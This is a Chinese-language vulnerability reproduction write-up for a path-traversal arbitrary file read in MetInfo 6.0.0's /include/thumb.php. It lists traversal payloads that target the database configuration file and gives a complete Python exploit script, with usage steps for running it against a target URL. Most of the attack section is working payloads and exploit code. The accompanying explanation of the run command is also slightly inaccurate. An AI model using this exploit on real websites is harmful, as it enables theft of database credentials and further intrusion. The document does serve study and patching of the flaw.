metinfo_6.0.0_file-read
说明 | 内容 |
---|---|
漏洞编号 | – |
漏洞名称 | MetInfo 6.0.0 任意文件读取漏洞 |
漏洞评级 | 高危 |
影响范围 | * MetInfo 6.0.0 |
漏洞描述 | MetInfo 存在任意文件读取漏洞,攻击者利用该漏洞, 在具有权限的情况下,可以读取网站任意文件,包括配置文件等敏感文件。 |
修复方案 | * 打补丁 升级 上设备 |
漏洞描述
MetInfo 是一套使用PHP 和MySQL 开发的内容管理系统。MetInfo 6.0.0 ~ 6.1.0 版本中的 /app/system/include/module/old_thumb.class.php
文件存在任意文件读取漏洞。攻击者可利用漏洞读取网站上的敏感文件。
漏洞等级
高危
影响版本
- MetInfo 6.0.0
漏洞复现
基础环境
组件 | 版本 |
---|---|
OS | Microsoft Windows Server 2016 Standard |
Web Server | phpStudy 2016 |
MetInfo | 6.0.0 |
漏洞点
/include/thumb.php
漏洞复现
进入网站:
访问漏洞点:/include/thumb.php
,并进行过抓包
第一次测试
/include/thumb.php?dir=..././http/.././config/config_db.php
发现没有读到数据库的配置信息
第二次测试
/include/thumb.php?dir=.....///http/.....///config/config_db.php
还是没有读到数据库的配置信息
第三次测试
/include/thumb.php?dir=http/......///......///config/config_db.php
一样没有读取到数据库的配置信息
第四次测试
/include/thumb.php?dir=http\..\..\config\config_db.php
这次我们发现读取到了数据库的配置信息
注意:
- 此POC 仅适用于Windows 系统,Linux 下无效。
深度利用
EXP 编写
import requests
import sys
banner = """
MetInfo 6.0.0
___________.__.__ __________ .___
\_ _____/|__| | ____ \______ \ ____ _____ __| _/
| __) | | | _/ __ \ | _// __ \\__ \ / __ |
| \ | | |_\ ___/ | | \ ___/ / __ \_/ /_/ |
\___ / |__|____/\___ > |____|_ /\___ >____ /\____ |
\/ \/ \/ \/ \/ \/
- AJEST
Usage: python3 *.py http://10.4.7.130/metinfo_6.0.0
"""
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"
}
dir_list = [
"..././http/..././config/config_db.php",
".....///http/.....///config/config_db.php",
"http/.....///.....///config/config_db.php",
"http\..\..\config\config_db.php"
]
def attack(host):
vul = "/include/thumb.php"
url = host + vul
res = requests.get(url = url, headers = headers)
if res.status_code != 200:
print(f"[INFO] {vul} is Not Exists!")
exit()
print(f"[INFO] {vul} is Exists!")
for param in dir_list:
params = {
"dir": param
}
res = requests.get(url = url, params = params, headers = headers)
print(f"[INFO] Test URL: {res.url}")
if "<?php" in res.text:
print("[RESULT] The target is vulnreable!")
print(f"[RESULT]\n{res.text}")
break
if len(sys.argv) < 2:
print(banner)
exit()
host = sys.argv[1]
attack(host = host)
利用过程:
在桌面创建一个exp.py文件,将代码放入进去,然后执行:
sudo python3 *.py http://10.9.75.131/metinfo6.0.0/
解释:
sudo
是用来以管理者权限运行命令的关键字。python3
表示要使用 Python 3 解释器来执行脚本。*.py
是一个通配符,表示选择当前目录下所有以 “.py” 结尾的文件。http://10.9.75.131/metinfo6.0.0/
是目标URL
利用成功